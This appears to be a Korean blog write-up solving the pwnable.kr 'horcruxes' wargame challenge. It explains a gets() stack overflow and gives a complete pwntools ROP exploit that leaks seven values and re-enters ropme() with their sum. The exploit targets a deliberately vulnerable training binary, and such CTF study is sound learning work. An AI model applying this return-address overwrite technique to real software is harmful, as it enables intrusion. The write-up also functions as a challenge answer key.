이번 horcruxes는 나온지 얼마 안된 따끈따끈한 바이너리이다. 보아하니 코드는 주지 않고, nc서버에서 진행된다.
우선 평소같이 로컬로 가져와 IDA와 GDB로 열어보았다.
취약점 자체는 금방 찾을 수 있었다. (괜히 삽질을 많이해서 그렇지)
gets(s);를 보면 아무런 길이 제한 없이 입력을 받는 것을 볼 수 있다. 너무 당연하게도 ret도 덮을 수 있다.
보면 ret까지의 거리가 0x74+4 즉 120인 것을 알 수 있다.
그리고 위쪽 scanf가 있으므로 1바이트 더 입력해서 gets로 내려오도록 하자.
그리고 A,B,C,D,E,F,G 함수를 각각 실행해서 a~g 변수의 값을 구하도록 하자.
from pwn import *
context.log_level='debug'
r = process("./horcruxes")
A = 0x809fe4b
B = 0x809fe6a
C = 0x809fe89
D = 0x809fea8
E = 0x809fec7
F = 0x809fee6
G = 0x809ff05
r.recv(1024)
payload = ""
payload += "A"*121
payload += p32(A)
payload += p32(B)
payload += p32(C)
payload += p32(D)
payload += p32(E)
payload += p32(F)
payload += p32(G)
우선 여기까지 짤 수 있다.
실행하면
저렇게 값들이 모두 출력되는 것을 볼 수 있다.
이를 모두 모은 후, 더해준 다음 ropme()함수를 다시 실행해 주자.
보면 ropme()함수의 주소에는 0x0A가 들어가기 때문에 gets에서 개행문자로 인식해 입력을 끊어버린다. 그래서 우린 main()의 call ropme() 위치로 jmp할 것이다.
0x0809fff9로 jmp하면 될 것이다.
from pwn import *
context.log_level='debug'
r = process("./horcruxes")
A = 0x809fe4b
B = 0x809fe6a
C = 0x809fe89
D = 0x809fea8
E = 0x809fec7
F = 0x809fee6
G = 0x809ff05
ropme = 0x0809FFF9
#gdb.attach(pidof(r)[0])
r.recv(1024)
payload = ""
payload += "A"*121
payload += p32(A)
payload += p32(B)
payload += p32(C)
payload += p32(D)
payload += p32(E)
payload += p32(F)
payload += p32(G)
payload += p32(ropme)
r.sendline(payload)
r.recvuntil('Diary" (EXP +')
a = int(r.recvuntil(")\n")[:-2])
r.recvuntil('Ring" (EXP +')
b = int( r.recvuntil(")\n")[:-2] )
r.recvuntil('Cup" (EXP +')
c = int(r.recvuntil(")\n")[:-2])
r.recvuntil('Locket" (EXP +')
d = int(r.recvuntil(")\n")[:-2])
r.recvuntil('Diadem" (EXP +')
e = int(r.recvuntil(")\n")[:-2])
r.recvuntil('Snake" (EXP +')
f = int(r.recvuntil(")\n")[:-2])
r.recvuntil('Potter" (EXP +')
g = int(r.recvuntil(")\n")[:-2])
r.send("A")
r.sendline(str(a+b+c+d+e+f+g))
r.recv(1024)
r.interactive()
이제 이 코드를 pwnable서버로 들어가서 nc로 넘겨주면 된다.
'pwnable > Toddler's Bottle' 카테고리의 다른 글
[Toddler's Bottle] unlink (0) | 2018.09.14 |
---|---|
[Toddler's Bottle] blukat (0) | 2018.09.12 |
[Toddler's Bottle] asm (0) | 2018.09.12 |
[Toddler's Bottle] uaf (0) | 2018.05.31 |
[Toddle's Bottle] cmd2 (0) | 2018.05.31 |